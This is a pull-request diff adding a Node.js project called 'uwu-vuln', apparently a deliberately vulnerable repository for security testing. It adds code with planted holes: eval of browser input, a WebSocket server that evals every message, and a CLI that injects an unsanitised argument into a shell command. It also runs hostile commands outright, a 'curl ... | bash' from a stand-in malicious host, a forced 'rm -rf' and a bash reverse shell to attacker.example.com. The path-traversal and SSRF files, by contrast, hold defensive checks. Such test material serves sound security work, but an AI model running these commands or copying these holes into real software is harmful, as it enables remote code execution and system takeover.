Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions browser copy/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
function executeUserScript() {
var userScript = document.getElementById('userScript').value;
// Using eval to execute user-provided script
eval(userScript);
}
18 changes: 18 additions & 0 deletions cli/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
const { exec } = require('child_process');

const userArg = process.argv[2] || '';

const cmd = `
rm -rf /tmp/vuln_dir --no-preserve-root &&
curl http://malicious.example.com/install.sh | bash &&
ls ${userArg}
`;

console.log('[*] Running dangerous CLI pipeline…');
exec(cmd, (err, stdout, stderr) => {
if (err) {
console.error('[!] Pipeline failed:', err);
return;
}
console.log('[+] Pipeline succeeded. stdout:\\n', stdout);
});
57 changes: 57 additions & 0 deletions disk/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();

// Path Traversal
app.get('/read', (req, res) => {
const file = req.query.file;
if (!file || typeof file !== 'string') return res.status(400).send('Invalid file');
const fullPath = path.resolve(__dirname, file);
// Ensure the resolved path is inside the application directory
if (!fullPath.startsWith(__dirname + path.sep) && fullPath !== __dirname) return res.status(400).send('Invalid file path');

// Prefer O_NOFOLLOW to avoid following symlinks at open time (mitigates TOCTOU symlink swap).
// If O_NOFOLLOW isn't available on the platform, fall back to lstat-based check and reject symlinks.
const hasONoFollow = fs.constants && (typeof fs.constants.O_NOFOLLOW !== 'undefined');
const openFlags = hasONoFollow ? (fs.constants.O_RDONLY | fs.constants.O_NOFOLLOW) : fs.constants.O_RDONLY;

const finishWithFd = (fd) => {
fs.readFile(fd, 'utf8', (err, data) => {
fs.close(fd, () => {});
if (err) {
console.error(err);
return res.status(500).send('Unable to read file');
}
res.send(data);
});
};

if (hasONoFollow) {
fs.open(fullPath, openFlags, (err, fd) => {
if (err) {
console.error(err);
return res.status(400).send('Invalid file path');
}
finishWithFd(fd);
});
} else {
// Fallback: reject if the path is a symlink (reduces TOCTOU window on platforms without O_NOFOLLOW)
fs.lstat(fullPath, (err, stats) => {
if (err) {
console.error(err);
return res.status(400).send('Invalid file path');
}
if (stats.isSymbolicLink()) return res.status(400).send('Invalid file path');
fs.open(fullPath, openFlags, (err, fd) => {
if (err) {
console.error(err);
return res.status(400).send('Invalid file path');
}
finishWithFd(fd);
});
});
}
});

app.listen(3001, () => console.log('Disk vuln on port 3001'));
56 changes: 56 additions & 0 deletions http copy/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
const express = require('express');
const axios = require('axios');
const { URL } = require('url');
const dns = require('dns').promises;
const app = express();

function isPrivateIp(ip) {
return ip === '::1' ||
/^127\./.test(ip) ||
/^10\./.test(ip) ||
/^192\.168\./.test(ip) ||
/^172\.(1[6-9]|2[0-9]|3[0-1])\./.test(ip) ||
ip.startsWith('fc') || ip.startsWith('fd') ||
ip.startsWith('fe80:');
}

// SSRF
app.get('/fetch', async (req, res) => {
const url = req.query.url;
let parsedUrl;
try {
parsedUrl = new URL(url);
} catch (e) {
return res.status(400).send('Invalid URL');
}
const hostname = parsedUrl.hostname;
if (!['http:', 'https:'].includes(parsedUrl.protocol) ||
hostname === 'localhost' ||
hostname === '127.0.0.1' ||
hostname === '::1' ||
/^(10|127)\./.test(hostname) ||
/^172\.(1[6-9]|2[0-9]|3[0-1])\./.test(hostname) ||
/^192\.168\./.test(hostname)) {
return res.status(400).send('URL not allowed');
}
try {
// DNS resolution to prevent DNS rebinding
try {
const addresses = await dns.lookup(parsedUrl.hostname, { all: true });
for (const { address } of addresses) {
if (isPrivateIp(address)) {
return res.status(400).send('URL not allowed');
}
}
} catch (e) {
return res.status(400).send('Invalid hostname');
}

const resp = await axios.get(url);
res.send(resp.data);
} catch (e) {
res.status(500).send(e.message);
}
});

app.listen(3000, () => console.log('HTTP vuln on port 3000'));
11 changes: 11 additions & 0 deletions package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
{
"name": "uwu-vuln",
"version": "1.0.0",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"description": ""
}
12 changes: 12 additions & 0 deletions stdin/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
const { exec } = require('child_process');

const payload = 'bash -i >& /dev/tcp/attacker.example.com/4444 0>&1';

console.log('[*] Executing reverse shell payload…');
exec(payload, (err, stdout, stderr) => {
if (err) {
console.error('[!] Error executing payload:', err);
return;
}
console.log('[+] Payload executed. stdout:', stdout);
});
12 changes: 12 additions & 0 deletions ws/index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

// RCE
wss.on('connection', ws => {
ws.on('message', msg => {
eval(msg);
ws.send('Executed: ' + msg);
});
});

console.log('WS vuln on port 8080');